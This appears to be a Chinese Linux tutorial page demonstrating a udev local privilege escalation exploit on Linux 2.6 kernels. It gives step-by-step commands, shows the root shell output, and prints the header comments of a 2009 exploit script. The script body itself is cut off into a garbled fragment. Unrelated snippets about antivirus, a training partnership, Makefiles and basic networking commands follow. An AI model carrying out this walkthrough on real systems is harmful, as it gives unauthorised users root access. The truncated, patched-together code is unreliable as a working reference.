Linux攻防之udev漏洞演示
此漏洞针对linux2.6内核，只要有普通用户权限，即可提升root权限，开始实验吧 1、复制以下代码，保存为udev.sh，并赋予可执行权限 2、#useradd test //新建一个普通用户 3、#su - test //切换至test用户 4、#ps -ef |grep udev //查看udev id root 474 1 0 Apr09 ? 00:00:00 /sbin/udevd -d 5、#sh udev.sh 473 //执行命令,udevd的id号减1，即473 6、sh-3.2# id uid=0(root) gid=0(root) groups=506(test) 此时test已经提升至root权限 如何修复漏洞，只要升级udev就行了 #yum update udev 附代码： #!/bin/sh # Linux 2.6 # bug found by Sebastian Krahmer # # lame sploit using LD technique # by kcope in 2009 # tested on debian-etch,ubuntu,gentoo # do a 'cat /proc/net/netlink' # and set the first arg to this # script to the pid of the netlink socket # (the pid is udevd_pid - 1 most of the time) # + sploit has to be UNIX formatted text :) # + if it doesn't work the 1st time try more often # # WARNING: maybe needs some FIXUP to work flawlessly ## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang cat > udev.c program.c suid.c
相关文档：
由于 Linux 良好的用户权限管理体系，病毒往往是 Linux 系统管理员最后才需要考虑的问题。以往，Linux 上的杀毒软件主要是为企业的邮件和文件服务器所设计的。如今，随着 Linux 桌面用户数量的增长，桌面用户在受益于 Linux 系统对病毒较强的天然免疫力的同时，也需要杀毒软件清理从网络或U盘带来的WIndows病毒。尽管那些 ......
来源：华清远见嵌入式学院
红帽公司大中华区培训服务总监黄建耀与华清远见教育集团总裁季久峰共同庆贺合作成功
2010年5月18日，华清远见教育集团与红帽大中华区关于Linux开发人才培养的合作签约仪式在北京世纪财富中心红帽公司总部正式举行，红帽大中华区培训服务总监黄建耀、华清远见� ......
Linux Makefile已被广泛应用但是也在不断的更新，这里介绍Linux Makefile安装设置使用，帮助大家安装更新Linux Makefile系统。作为Linux下的程序开发人员，大家一定都遇到过Linux Makefile，用make命令来编译自己写的程序确实是很方便。一般情况下，大家都是手工写一个简单Linux Makefile，如果要想写出一个符合自由软件惯� ......
LINUX--修改IP地址
A、修改ip地址
即时生效:
# ifconfig eth0 192.168.0.20 netmask 255.255.255.0
启动生效:
修改/etc/sysconfig/network-scripts/ifcfg-eth0
B、修改default gateway
即时生效:
# route add default gw 192.168.0.254
启动生效:
修改/etc/sysconfig/network-scripts/ifcfg-eth0
C、修改dns
修 ......
1,基本操作
添加用户
useradd
删除用户
userdel
变更密码
passwd username
查看执行中进程
ps aux
ps auxf
ps
l 长格式输出；
u 按用户名和启动时间的顺序来显示进程；
j 用任务格式来显示进程；
f 用树形格式来显示进程；
......
